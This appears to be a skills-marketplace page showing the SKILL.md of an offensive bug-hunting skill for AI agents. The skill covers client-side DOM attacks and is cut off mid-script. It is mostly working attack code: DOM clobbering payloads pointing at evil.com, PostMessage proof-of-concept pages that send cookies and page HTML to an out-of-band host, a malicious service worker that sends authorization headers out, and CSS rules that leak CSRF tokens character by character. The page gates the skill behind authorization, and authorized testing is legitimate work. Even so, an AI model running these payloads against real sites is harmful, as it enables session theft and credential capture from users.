Skip to main content

hunt-dom

Hunt client-side DOM vulnerabilities

Aller à l'installation

Informations de source

Dépôt
sickn33/agentic-awesome-skills
Dernière activité de la source
21 septembre 2026 à 13:45
Langue détectée de SKILL.md
anglais
Étoiles
46 724
Forks
6 804

Options d'installation

Le prompt qui vérifie d'abord la source est sélectionné par défaut. Vous pouvez passer à une commande directe ou télécharger une copie locale.

Vérifiez les fichiers source

Lisez SKILL.md et les fichiers associés affichés par SkillsMP avant de décider de l'installer.

Affichage de SKILL.md

SKILL.md
Instructions source · Aperçu en lecture seule
name
hunt-dom
description
Hunt client-side DOM vulnerabilities
category
security
risk
offensive
source
https://github.com/elementalsouls/Claude-BugHunter
source_repo
elementalsouls/Claude-BugHunter
source_type
community
date_added
2026-09-20
license
MIT
license_source
https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
compatibility
Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.
sources
portswigger_research, hackerone_public, github_security_advisories
report_count
14
> **⚠️ AUTHORIZED USE ONLY** > This skill is for educational purposes or authorized security assessments only. > You must have explicit, written permission from the system owner before using this tool. > Misuse of this tool is illegal and strictly prohibited. > **Mandatory confirmation gate** > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target: > 1. Ask the user to state the exact target URL, IP, account, or resource. > 2. Ask the user to confirm written authorization and the permitted scope. > 3. Show the exact command(s) and explain their expected effect. > 4. Wait for explicit confirmation in the current conversation. > > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab. # HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil ## Crown Jewel Targets DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed. **Highest-value chains:** - **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered. - **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink. - **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture. - **CSS Exfil** — attribute-value selectors (`input[value^="a"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS. ### Grounding — public research this is distilled from - **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs. - **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS. - **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots. - **CSS exfiltration** — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential `@import` recursion to drop the per-char-position constraint). > Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation. --- ## Attack Surface Signals ``` # Injection points that allow MARKUP but may strip <script>: user bio / display name / comment / markdown preview / SVG upload / CMS rich-text # postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets): */sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes # Service worker presence: /sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular) # CSS injection points: ?theme= custom-css profile field email-template editor style= passthrough ``` --- ## Phase 1 — DOM Clobbering ```bash # Signal: app reads element IDs/names as if they were JS objects, OR feeds a # clobberable global into a sink (location, innerHTML, eval, script.src). # Inject MARKUP (no script) at a sink that lets named/id'd elements through. # Single-level clobber of window.config: # <a id="config" href="https://evil.com"> # Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way): # <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string # Clobber a string-coerced URL value (anchor toString() == href): # <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href # Nested window.a.b.c via form/inputs: # <form id="a"><input id="b" name="c" value="clobbered"></form> # baseURI / relative-URL hijack: # <base href="https://evil.com/"> # bends every relative src/href ``` ```javascript // Browser console: find globals that are clobberable AND reach a sink. // A var only matters if the app later concatenates it into a URL/HTML/eval. const susp = ['config','settings','options','appConfig','init','data','user', 'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug']; susp.forEach(k => { const v = window[k]; // HTMLCollection / element => already clobbered or clobberable namespace if (v && (v instanceof Element || v instanceof HTMLCollection)) console.log('[CLOBBERED/NAMESPACE]', k, v); else if (v !== undefined) console.log('[GLOBAL]', k, '=', v); }); ``` ```bash # Source review: find globals fed into sinks (this is what makes clobbering exploitable) curl -s "https://$TARGET/" | grep -nE \ "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\ location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]" # DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks. ``` **jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`. --- ## Phase 2 — PostMessage Hijacking Two bug classes: (a) **listener** trusts cross-origin data → drive a sink/privileged action; (b) **sender** broadcasts secrets with target origin `'*'` → any framing page reads them. ```bash # Find handlers and flag the ones with NO origin check grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \ | grep -vE "\.origin\b" # Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store) # Senders that leak: grep for postMessage(<secret>, '*') grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null ``` ```html <!-- PoC A: drive a no-origin-check LISTENER from an attacker page --> <!-- Host on attacker.com; frames target and pushes a privileged message --> <iframe id="f" src="https://TARGET/page-with-listener"></iframe> <script> document.getElementById('f').onload = () => { const w = document.getElementById('f').contentWindow; // Shape the payload to whatever the handler routes into a sink: w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*'); w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*'); }; </script> ``` ```html <!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' --> <iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe> <pre id="out"></pre> <script> addEventListener('message', e => { // Only count it if e.origin is the TARGET and data carries a secret out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`; if (/token|session|jwt|code=/i.test(JSON.stringify(e.data))) fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof }); </script> ``` > False-positive guard: a handler with a *partial* check (`origin.indexOf('target.com')>-1`, `endsWith('target.com')`, regex `target\.com`) is still vulnerable — bypass with `target.com.evil.com` or `eviltarget.com`. Confirm by serving the PoC from such a look-alike host and showing the message still lands. --- ### PostMessage handler race — win the message before origin is set Beyond static origin/sender checks: some handlers trust the FIRST message, or read `event.origin` while it is still `""`/`null` during frame load. Race it — flood `postMessage` in a tight loop during iframe/popup load, or fire from `about:blank` before navigation, so your message lands before the legit sender or before strict origin setup runs. Test any handler that assumes "first message = trusted". Disclosed: reports/381356. ## Phase 3 — Service Worker Abuse **Hard rule (corrects a common mistake):** a SW script URL **must be same-origin** as the page calling `register()`. A cross-origin script URL (`https://evil.com/sw.js`) throws `SecurityError` — there is **no header that enables cross-origin SW *script* registration**. `Service-Worker-Allowed` only widens the **scope** a same-origin script may control, not where the script may live. So the realistic path is: get a SW script **onto the target origin** (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with `text/javascript`, or an existing route under your control), then register it from same-origin XSS. ```bash # Enumerate existing SW + its scope curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker" for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches" # Look for an upload/route that returns Content-Type: text/javascript on YOUR content: # curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type ``` ```javascript // Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js // served by the target). scope must be <= the directory the script is served from // unless the response carries Service-Worker-Allowed. navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'}) .then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration .catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope // evil-sw.js (served from the TARGET origin): self.addEventListener('fetch', e => { e.respondWith(fetch(e.request.clone()).then(async resp => { // Exfil URL + any auth header the page attaches, to OOB fetch('https://OOB/sw-intercept', {method:'POST', body: JSON.stringify({url: e.request.url, auth: e.request.headers.get('authorization')})}); return resp; })); }); ``` > Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger. --- ## Phase 4 — CSS Injection / Exfiltration ```bash # Prereq: attacker controls CSS (custom-theme field, style= passthrough, email # template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr. # Step 1 confirm injection: inject "color:red" on a known element, observe render. # Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB. ``` > **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it. ```css /* One request fires only for the matching first char. */ input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); } input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); } /* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */ meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); } ``` ```python # Generate a single-position CSS exfil set (loop positions with sequential @import in practice) import string chars = string.ascii_letters + string.digits + '-_' attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0 print("\n".join(
Voir sur GitHub
Ce SKILL.md est tres volumineux, SkillsMP affiche donc ici seulement la premiere section. Voir sur GitHub